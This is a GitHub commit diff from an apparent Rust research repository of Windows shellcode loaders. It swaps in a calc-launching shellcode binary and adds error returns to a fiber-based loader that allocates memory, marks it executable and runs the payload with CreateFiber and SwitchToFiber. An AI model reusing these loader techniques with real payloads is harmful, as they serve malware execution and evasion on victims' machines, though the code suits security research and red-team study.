Skip to content

Commit 3771d50

Browse files
author
test
committed
add create_remote_thread
1 parent c701953 commit 3771d50

File tree

3 files changed

+6
-3
lines changed

3 files changed

+6
-3
lines changed

asm/src/main.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
use std::arch::asm;
44

55
#[link_section = ".text"]
6-
static SHELLCODE: [u8; 113] = *include_bytes!("../../win-exec-calc-shellcode.bin");
6+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
77

88
#[cfg(target_os = "windows")]
99
fn main() {

create_fiber/src/main.rs

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ use windows_sys::Win32::System::Memory::{
88
};
99
use windows_sys::Win32::System::Threading::{ConvertThreadToFiber, CreateFiber, SwitchToFiber};
1010

11-
static SHELLCODE: [u8; 113] = *include_bytes!("../../win-exec-calc-shellcode.bin");
11+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
1212
static SIZE: usize = SHELLCODE.len();
1313

1414
#[cfg(target_os = "windows")]
@@ -18,23 +18,27 @@ fn main() {
1818
let main_fiber = ConvertThreadToFiber(null());
1919
if main_fiber == null_mut() {
2020
eprintln!("ConvertThreadToFiber failed!");
21+
return;
2122
}
2223

2324
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
2425
if dest == null_mut() {
2526
eprintln!("VirtualAlloc failed!");
27+
return;
2628
}
2729

2830
copy(SHELLCODE.as_ptr(), dest as *mut u8, SIZE);
2931
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
3032
if res == FALSE {
3133
eprintln!("VirtualProtect failed!");
34+
return;
3235
}
3336

3437
let dest = transmute(dest);
3538
let fiber = CreateFiber(0, dest, null());
3639
if fiber == null_mut() {
3740
eprintln!("CreateFiber failed!");
41+
return;
3842
}
3943

4044
SwitchToFiber(fiber);

win-exec-calc-shellcode.bin

Lines changed: 0 additions & 1 deletion
This file was deleted.

0 commit comments

Comments
 (0)